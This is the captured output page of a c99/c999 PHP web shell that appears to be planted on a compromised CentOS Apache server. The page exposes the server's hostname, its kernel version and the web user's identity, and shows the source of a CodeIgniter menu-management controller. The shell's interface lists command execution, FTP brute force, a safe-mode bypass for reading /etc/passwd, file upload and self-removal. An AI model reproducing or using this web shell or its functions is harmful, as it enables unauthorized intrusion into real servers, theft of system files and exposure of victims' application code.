!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/stdalumni/application/controllers/ums/   drwxr-xr-x
Free 50.66 GB of 127.8 GB (39.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     system.php (6.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('ums_controller.php');
class 
System extends Ums_controller {
    public 
$data;
    
    function 
index() {
        
$this->load->model($this->config->item('ums_folder').'m_umsystem','m_umsystem');
        
$m_umsystem=$this->m_umsystem;
        
$this->data['system'] = $m_umsystem->get()->result();
        
$this->output('v_umSystemShow');
    }
    
    function 
umSystemAdd(){
        if(
$this->input->post('submit')){ //SAVE
            
$this->load->model($this->config->item('ums_folder').'m_umsystem','m_umsystem');
            
$m_umsystem=$this->m_umsystem;
            
$m_umsystem->StID $this->input->post('StID');
            
$m_umsystem->StNameT $this->input->post('StNameT');
            
$m_umsystem->StNameE $this->input->post('StNameE');
            
$m_umsystem->StAbbrT $this->input->post('StAbbrT');
            
$m_umsystem->StAbbrE $this->input->post('StAbbrE');
            
$m_umsystem->StDesc $this->input->post('StDesc');
            
$m_umsystem->StURL $this->input->post('StURL');
            
$m_umsystem->StIcon $this->input->post('StIcon');
            
$m_umsystem->insert();
            
redirect(site_url().'/'.$this->config->item('ums_folder').'system');
        }
        
$this->output('v_umSystemForm');
    }
    
    function 
umSystemEdit(){
        
$StID $this->input->post('id');
        
$this->load->model($this->config->item('ums_folder').'m_umsystem','m_umsystem');
        
$m_umsystem=$this->m_umsystem;
        if(
$StID==''){
            if(
$this->input->post('submit')){ //SAVE
                
$m_umsystem->StID $this->input->post('StID');
                
$m_umsystem->StNameT $this->input->post('StNameT');
                
$m_umsystem->StNameE $this->input->post('StNameE');
                
$m_umsystem->StAbbrT $this->input->post('StAbbrT');
                
$m_umsystem->StAbbrE $this->input->post('StAbbrE');
                
$m_umsystem->StDesc $this->input->post('StDesc');
                
$m_umsystem->StURL $this->input->post('StURL');
                
$m_umsystem->StIcon $this->input->post('StIcon');
                
$m_umsystem->update();
                
redirect(site_url().'/'.$this->config->item('ums_folder').'system');
            }
            
redirect(site_url().'/'.$this->config->item('ums_folder').'system');
        }
        
$m_umsystem->StID $StID;
        
$this->data['system'] = $m_umsystem->get_by_key();
        
$this->data['edit'] = true;
        
$this->output('v_umSystemForm');
    }
    
    function 
umSystemDelete(){
        
$StID $this->input->post('id');
        
$this->load->model($this->config->item('ums_folder').'m_umsystem','m_umsystem');
        
$m_umsystem=$this->m_umsystem;
        
$m_umsystem->StID $StID;
        
$m_umsystem->delete();
        
$this->load->model($this->config->item('ums_folder').'m_ummenu','m_ummenu');
        
$m_ummenu=$this->m_ummenu;
        
$m_ummenu->MnStID $StID;
        
$m_ummenu->deleteSystem();
        
redirect(site_url().'/'.$this->config->item('ums_folder').'system');
    }
    
    function 
umMenuShow(){
        
$StID $this->input->post('id');
        
        
$this->load->model($this->config->item('ums_folder').'m_umsystem','m_umsystem');
        
$m_umsystem=$this->m_umsystem;
        
$m_umsystem->StID $StID;
        
$this->data['system'] = $m_umsystem->get_by_key();
        
        
$this->data['StID'] = $StID;
        
$this->data['menu'] = $this->umMenuShowRe(0,$StID);
        
$this->output('v_umMenuShow');
    }
    
    function 
umMenuShowRe($MnID,$StID){
        
$this->load->model($this->config->item('ums_folder').'m_ummenu','m_ummenu');
        
$m_ummenu=$this->m_ummenu;
        
$menu $m_ummenu->RSByParentMn($MnID,$StID);
        
        if(
$menu->num_rows>0){
            foreach(
$menu->result() as $row){
                
//echo $row->MnID.'|';
                
$result[$row->MnID]['data'] = $row;
                
$result[$row->MnID]['child'] = $this->umMenuShowRe($row->MnID,$StID);
            }
            return 
$result;
        } else {
            return 
false;
        }
    }
    
    function 
umMenuAdd(){
        if(
$this->input->post('submit')){ //SAVE
            
$MnID $this->input->post('MnID');
            
$StID $this->input->post('StID');
            
$MnLevel $this->input->post('MnLevel');
            
$this->load->model($this->config->item('ums_folder').'m_ummenu','m_ummenu');
            
$m_ummenu $this->m_ummenu;
            
            
$m_ummenu->MnStID $StID;
            
$lastMnID $m_ummenu->lastMnID();
            if(
$lastMnID>0){
                
$MnIDNew = ($lastMnID)+1;
            } else {
                
$MnIDNew str_pad($StID"0")+1;
            }
            
$m_ummenu->MnID $MnIDNew;
            
$m_ummenu->MnSeq $MnIDNew;
            
$m_ummenu->MnIcon '';
            
$m_ummenu->MnNameT $this->input->post('MnNameT');
            
$m_ummenu->MnNameE $this->input->post('MnNameE');
            
$m_ummenu->MnURL $this->input->post('MnURL');
            
$m_ummenu->MnDesc $this->input->post('MnDesc');
            
$m_ummenu->MnToolbar '';
            
$m_ummenu->MnToolbarSeq 0;
            
$m_ummenu->MnToolbarIcon '';
            
$m_ummenu->MnParentMnID $MnID;
            
$m_ummenu->MnLevel $MnLevel+1;
            
$m_ummenu->insert();
            
            
$value = array('id'=>$StID);
            
$this->redirectPost("system/umMenuShow",$value);
            
        } else {
            
$MnID $this->input->post('MnID');
            
$StID $this->input->post('StID');
            
$MnLevel $this->input->post('MnLevel');
            
$this->data['MnID'] = $MnID;
            
$this->data['StID'] = $StID;
            
$this->data['MnLevel'] = $MnLevel;
            
            
// System
            
$this->load->model($this->config->item('ums_folder').'m_umsystem','m_umsystem');
            
$m_umsystem=$this->m_umsystem;
            
$m_umsystem->StID $StID;
            
$this->data['system'] = $m_umsystem->get_by_key();
            
            
$this->output('v_umMenuForm');
        }
    }
    
    function 
umMenuEdit(){
        if(
$this->input->post('submit')){ //SAVE
            
$this->load->model($this->config->item('ums_folder').'m_ummenu','m_ummenu');
            
$m_ummenu $this->m_ummenu;
            
$m_ummenu->MnNameT $this->input->post('MnNameT');
            
$m_ummenu->MnNameE $this->input->post('MnNameE');
            
$m_ummenu->MnURL $this->input->post('MnURL');
            
$m_ummenu->MnDesc $this->input->post('MnDesc');
            
$m_ummenu->MnID $this->input->post('MnID');
            
$m_ummenu->updateMenu();
            
            
$StID $this->input->post('StID');
            
$value = array('id'=>$StID);
            
$this->redirectPost("system/umMenuShow",$value);
        } else {
            
$this->load->model($this->config->item('ums_folder').'m_ummenu','m_ummenu');
            
$m_ummenu=$this->m_ummenu;
            
$MnID $this->input->post('MnID');
            
$StID $this->input->post('StID');
            
$MnLevel $this->input->post('MnLevel');
            
$this->data['MnID'] = $MnID;
            
$this->data['StID'] = $StID;
            
$this->data['MnLevel'] = $MnLevel;
            
$this->data['menu'] = $m_ummenu->getByKey($MnID);
            
            
// System
            
$this->load->model($this->config->item('ums_folder').'m_umsystem','m_umsystem');
            
$m_umsystem=$this->m_umsystem;
            
$m_umsystem->StID $StID;
            
$this->data['system'] = $m_umsystem->get_by_key();
            
            
$this->data['edit'] = true;
            
$this->output('v_umMenuForm');
        }
    }
    
    function 
umMenuDelete(){
        
$this->load->model($this->config->item('ums_folder').'m_ummenu','m_ummenu');
        
$m_ummenu=$this->m_ummenu;
        
        
$MnID $this->input->post('MnID');
        
$m_ummenu->MnID $MnID;
        
$m_ummenu->deleteMenu();
        
        
$StID $this->input->post('StID');
        
$value = array('id'=>$StID);
        
$this->redirectPost("system/umMenuShow",$value);
    }
    
    function 
umMenuSaveSeq(){
        
$this->load->model($this->config->item('ums_folder').'m_ummenu','m_ummenu');
        
$m_ummenu=$this->m_ummenu;
        foreach(
$_POST as $key=>$val){
            
$m_ummenu->MnID $key;
            
$m_ummenu->MnSeq $val;
            
$m_ummenu->SaveSeq();
        }
        
$StID $this->input->post('StID');
        
$value = array('id'=>$StID);
        
$this->redirectPost("system/umMenuShow",$value);
    }
    
    function 
umShowGroup(){
        
$this->output('v_home');
    }
    
    function 
umQuestion(){
        
$this->output('v_home');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--